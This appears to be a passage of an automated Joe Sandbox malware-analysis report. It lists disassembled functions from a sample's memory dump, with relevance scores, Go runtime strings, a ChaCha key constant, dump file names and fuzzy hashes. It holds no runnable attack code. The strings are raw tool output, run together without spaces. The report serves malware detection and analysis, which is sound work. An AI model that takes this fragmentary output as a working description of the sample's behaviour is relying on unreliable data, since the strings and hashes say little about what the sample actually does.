Instruction Fuzzy Hash: 8F12453621DBC086DB70AB21E4943AEB7A0F789B88F145126EE8D43B69CF79C545DB04

Function 00C4CE79 Relevance: 7.7, Strings: 6, Instructions: 171COMMON

Download Yara Rule

Strings

runtime: marking free object addspecial on invalid pointerruntime: summary max pages = runtime: levelShift[level] = doRecordGoroutineProfile gp1=NtCreateWaitCompletionPacket, xrefs: 00C4D047
greyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freefailed to get or create weak handleattempt to clear non-empty span setruntime: close polldesc w/o unblockNtCreateWaitCompletionPacket failedfindrunnable: n, xrefs: 00C4D10F
+)-LM]1=[<{}_y0x./i), )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+, xrefs: 00C4D085
marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during , xrefs: 00C4D0FE
nh, xrefs: 00C4D00D
base of ) = <==GOGC] = pc=: p=cas1cas2cas3cas4cas5cas6 at m= sp= sp: lr: fp= gp= mp=) m=ermssse3avx2bmi1bmi2JuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDTboolint8uintchanfunccallkind on icmpigmptimeC:\PyC:\pyGetDCfalse<nil>ErrorntohsCall 15625781, xrefs: 00C4D0BB

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: +)-LM]1=[<{}_y0x./i), )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+$base of ) = <==GOGC] = pc=: p=cas1cas2cas3cas4cas5cas6 at m= sp= sp: lr: fp= gp= mp=) m=ermssse3avx2bmi1bmi2JuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDTboolint8uintchanfunccallkind on icmpigmptimeC:\PyC:\pyGetDCfalse<nil>ErrorntohsCall 15625781$greyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freefailed to get or create weak handleattempt to clear non-empty span setruntime: close polldesc w/o unblockNtCreateWaitCompletionPacket failedfindrunnable: n$marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during $runtime: marking free object addspecial on invalid pointerruntime: summary max pages = runtime: levelShift[level] = doRecordGoroutineProfile gp1=NtCreateWaitCompletionPacket$nh
API String ID: 0-3067234383
Opcode ID: 20c06a73ac5dea1a53cd66b0e587082a08d64f096c93c1e82e77a76a167050ac
Instruction ID: a87b0f43f0aaf183b7c2df50769de162d4664b93526fae3b4b1596fc93fd68c4
Opcode Fuzzy Hash: 20c06a73ac5dea1a53cd66b0e587082a08d64f096c93c1e82e77a76a167050ac
Instruction Fuzzy Hash: 136123B2219B8096DB10AF51E4803ADBB35F749BC4F445526EF9E07BA6CF38C2A5D710

Function 00C6D240 Relevance: 7.2, Strings: 5, Instructions: 942COMMON

Download Yara Rule

Strings

global runq empty with non-zero runqsizemust be able to track idle limiter eventruntime: SyscallN has too many argumentsgoroutine stack size is not a power of 2MapIter.Key called on exhausted iterator34694469519536141888238489627838134765625strconv: illegal Ap, xrefs: 00C6E166
findrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=2006-01-02T15:04:05.999999999Z07:00file type does not support deadlinecrypto/cipher: input not full blocks44408920985006, xrefs: 00C6E177
findrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: goroutine stack exceeds runtime: text offset out of rangetimer period must be non-negativetoo many concurrent timer firingsruntime: name offset out of r, xrefs: 00C6E199
findrunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatch, xrefs: 00C6E188
findrunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionunsupported operationMorocco Standard TimeNamibia Standard TimeAlaskan , xrefs: 00C6E1AA

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: findrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: goroutine stack exceeds runtime: text offset out of rangetimer period must be non-negativetoo many concurrent timer firingsruntime: name offset out of r$findrunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatch$findrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=2006-01-02T15:04:05.999999999Z07:00file type does not support deadlinecrypto/cipher: input not full blocks44408920985006$findrunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionunsupported operationMorocco Standard TimeNamibia Standard TimeAlaskan $global runq empty with non-zero runqsizemust be able to track idle limiter eventruntime: SyscallN has too many argumentsgoroutine stack size is not a power of 2MapIter.Key called on exhausted iterator34694469519536141888238489627838134765625strconv: illegal Ap
API String ID: 0-2928823602
Opcode ID: 870b151b0accef20daece00ec6a46e19421874419ee89d079cf91ff8c02f1e59
Instruction ID: 15543996ea121d141a9266ac0a97c6aeb990d70663b9f07f646de2e7fa5e8733
Opcode Fuzzy Hash: 870b151b0accef20daece00ec6a46e19421874419ee89d079cf91ff8c02f1e59
Instruction Fuzzy Hash: 1992BF32709BC486EB308F52E4803EAB360F789B90F498126CA9E57B59DF3DC985D750

Function 00C65E80 Relevance: 6.6, Strings: 5, Instructions: 301COMMON

Download Yara Rule

Strings

invalid g statuscastogscanstatusbad g transitionschedule: in cgoreflect mismatch untyped locals missing stackmapbad symbol tablenon-Go function not in ranges:GODEBUG: value "GetCurrentThreadRtlVirtualUnwindRCodeFormatErrorEnumFontFamiliesW0123456789ABCDEFX01, xrefs: 00C66399
suspendG from non-preemptible goroutineruntime: casfrom_Gscanstatus failed gp=stack growth not allowed in system calltraceback: unexpected SPWRITE function traceRegion: alloc with concurrent drop2006-01-02 15:04:05.999999999 -0700 MSTcrypto/cipher: output smal, xrefs: 00C663AA
, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp, xrefs: 00C662E5
, goid= s=nil (scan MB in pacer: % CPU ( zombie, j0 = head = panic: nmsys= locks= dying= allocsGODEBUG m->g0= pad1= pad2= text= minpc= value= (scan)types : type avx512fTuesdayJanuaryOctoberMUI_StdMUI_DltinvaliduintptrChanDir Value>\\.\UNCos/execruntimet, xrefs: 00C662C5, 00C6634F
runtime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to threadruntime.semacreateruntime.semawakeupCuba Standard TimeOmsk Standard TimeArab Standard TimeIran Standard TimeRussia T, xrefs: 00C662A5

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: , goid= s=nil (scan MB in pacer: % CPU ( zombie, j0 = head = panic: nmsys= locks= dying= allocsGODEBUG m->g0= pad1= pad2= text= minpc= value= (scan)types : type avx512fTuesdayJanuaryOctoberMUI_StdMUI_DltinvaliduintptrChanDir Value>\\.\UNCos/execruntimet$, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp$invalid g statuscastogscanstatusbad g transitionschedule: in cgoreflect mismatch untyped locals missing stackmapbad symbol tablenon-Go function not in ranges:GODEBUG: value "GetCurrentThreadRtlVirtualUnwindRCodeFormatErrorEnumFontFamiliesW0123456789ABCDEFX01$runtime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to threadruntime.semacreateruntime.semawakeupCuba Standard TimeOmsk Standard TimeArab Standard TimeIran Standard TimeRussia T$suspendG from non-preemptible goroutineruntime: casfrom_Gscanstatus failed gp=stack growth not allowed in system calltraceback: unexpected SPWRITE function traceRegion: alloc with concurrent drop2006-01-02 15:04:05.999999999 -0700 MSTcrypto/cipher: output smal
API String ID: 0-1275889062
Opcode ID: 45aefd460e242b4416247fd376f16307381c6e924c6d745c28d52c04d18f7d69
Instruction ID: 32d985c72cafee85e1112e3c12b147c495d68a603cbc2e5b799d6acca47d2367
Opcode Fuzzy Hash: 45aefd460e242b4416247fd376f16307381c6e924c6d745c28d52c04d18f7d69
Instruction Fuzzy Hash: 66D19176218B80C6DB20DB66E08176EBB61F78ABD0F149166EF9D03B69CF38C541DB00

Function 00C4D840 Relevance: 6.4, Strings: 5, Instructions: 179COMMON

Download Yara Rule

Strings

pacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go, xrefs: 00C4DA46
(scan MB in pacer: % CPU ( zombie, j0 = head = panic: nmsys= locks= dying= allocsGODEBUG m->g0= pad1= pad2= text= minpc= value= (scan)types : type avx512fTuesdayJanuaryOctoberMUI_StdMUI_DltinvaliduintptrChanDir Value>\\.\UNCos/execruntimetls3desGoString, xrefs: 00C4DA65
MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=dalTLDpSugct?GetTempPath2W, xrefs: 00C4DAC5
+)-LM]1=[<{}_y0x./i), )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+, xrefs: 00C4DAE5
-> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-08-0, xrefs: 00C4DAA5

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: (scan MB in pacer: % CPU ( zombie, j0 = head = panic: nmsys= locks= dying= allocsGODEBUG m->g0= pad1= pad2= text= minpc= value= (scan)types : type avx512fTuesdayJanuaryOctoberMUI_StdMUI_DltinvaliduintptrChanDir Value>\\.\UNCos/execruntimetls3desGoString$ MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=dalTLDpSugct?GetTempPath2W$+)-LM]1=[<{}_y0x./i), )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+$-> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-08-0$pacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in go
API String ID: 0-2977222831
Opcode ID: bd804f09764cf69f722c3be01ae246902c1bac34ed80e360cd97926c129d61fc
Instruction ID: 45c8fb5b574492949a508518b91c3811bc409a9017e25eb7150141431a1761b2
Opcode Fuzzy Hash: bd804f09764cf69f722c3be01ae246902c1bac34ed80e360cd97926c129d61fc
Instruction Fuzzy Hash: BE71D432518F9486D711EF61E48036AB7A4FB9ABC4F058726EE8E67726CF38C481C750

Function 00C46580 Relevance: 5.4, Strings: 4, Instructions: 351COMMON

Download Yara Rule

Strings

!= sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase, xrefs: 00C46B45
runtime: p ms clock, nBSSRoots=runtime: P exp.) for minTrigger=GOMEMLIMIT=bad m value, elemsize= freeindex= span.list=, npages = p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32, xrefs: 00C46B0C
flushGen MB goal, s.state = s.base()= heapGoal=GOMEMLIMIT KiB now, pages at sweepgen= sweepgen , bound = , limit = exitThreadBad varintGC forced runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanfloat32nanException ptrSize= , xrefs: 00C46B27
p mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStub, xrefs: 00C46B6A

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase$ flushGen MB goal, s.state = s.base()= heapGoal=GOMEMLIMIT KiB now, pages at sweepgen= sweepgen , bound = , limit = exitThreadBad varintGC forced runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanfloat32nanException ptrSize= $p mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStub$runtime: p ms clock, nBSSRoots=runtime: P exp.) for minTrigger=GOMEMLIMIT=bad m value, elemsize= freeindex= span.list=, npages = p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32
API String ID: 0-3709805979
Opcode ID: 8e1b7532d35e0cefe44ae88f1537c696e0a5ce82a83e936f37f8364652d57262
Instruction ID: ae23576a09fd04219ec3438ff8c270830a02ab53977d2dcfddfe40c3e15947dd
Opcode Fuzzy Hash: 8e1b7532d35e0cefe44ae88f1537c696e0a5ce82a83e936f37f8364652d57262
Instruction Fuzzy Hash: 1BF1E272208B80C6DB20DF65F48436EB765F386B90F458636EA9D43BA9DF38C585DB10

Function 00C33B00 Relevance: 5.3, Strings: 4, Instructions: 294COMMON

Download Yara Rule

Strings

nd 3, xrefs: 00C33B17
expa, xrefs: 00C33B08
te k, xrefs: 00C33B35
2-by, xrefs: 00C33B26

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: 2-by$expa$nd 3$te k
API String ID: 0-3581043453
Opcode ID: d0a0678b136faf6cdae2b5bb443573c909990b14ac4f0b67f8b4f134291ae36c
Instruction ID: b7c803edd39a62ada5e018be22272ad989c0731f30b31a54296d058297a60efe
Opcode Fuzzy Hash: d0a0678b136faf6cdae2b5bb443573c909990b14ac4f0b67f8b4f134291ae36c
Instruction Fuzzy Hash: 64B1B066F29FD94AF323A63810036B7EB185FFB9C9A40E327FC9474A87D72095036254

Function 00C6A520 Relevance: 5.3, Strings: 4, Instructions: 289COMMON

Download Yara Rule

Strings

stopTheWorld: not stopped (status != _Pgcstop)signal arrived during external code executioncompileCallback: float arguments not supportedruntime: name offset base pointer out of rangeruntime: type offset base pointer out of rangeruntime: text offset base poin, xrefs: 00C6A984
stopTheWorld: not stopped (stopwait != 0)can't call pointer on a non-pointer ValueMapIter.Next called on exhausted iterator173472347597680709441192448139190673828125867361737988403547205962240695953369140625persistentalloc: align is not a power of 2out of memo, xrefs: 00C6A8CA
stopTheWorld: broken CPU time accountingglobal runq empty with non-zero runqsizemust be able to track idle limiter eventruntime: SyscallN has too many argumentsgoroutine stack size is not a power of 2MapIter.Key called on exhausted iterator34694469519536141888, xrefs: 00C6A99E
stopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a , xrefs: 00C6A9E5

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: stopTheWorld: broken CPU time accountingglobal runq empty with non-zero runqsizemust be able to track idle limiter eventruntime: SyscallN has too many argumentsgoroutine stack size is not a power of 2MapIter.Key called on exhausted iterator34694469519536141888$stopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a $stopTheWorld: not stopped (status != _Pgcstop)signal arrived during external code executioncompileCallback: float arguments not supportedruntime: name offset base pointer out of rangeruntime: type offset base pointer out of rangeruntime: text offset base poin$stopTheWorld: not stopped (stopwait != 0)can't call pointer on a non-pointer ValueMapIter.Next called on exhausted iterator173472347597680709441192448139190673828125867361737988403547205962240695953369140625persistentalloc: align is not a power of 2out of memo
API String ID: 0-3667285849
Opcode ID: cb75d64ac202b2a4c69fcef9bb03c64f2059d9e138eb3dce8901ac415fc14101
Instruction ID: ae07054b0ded4a866ec1908026cd8290936ad0c20ab049f7aceb6a3424735396
Opcode Fuzzy Hash: cb75d64ac202b2a4c69fcef9bb03c64f2059d9e138eb3dce8901ac415fc14101
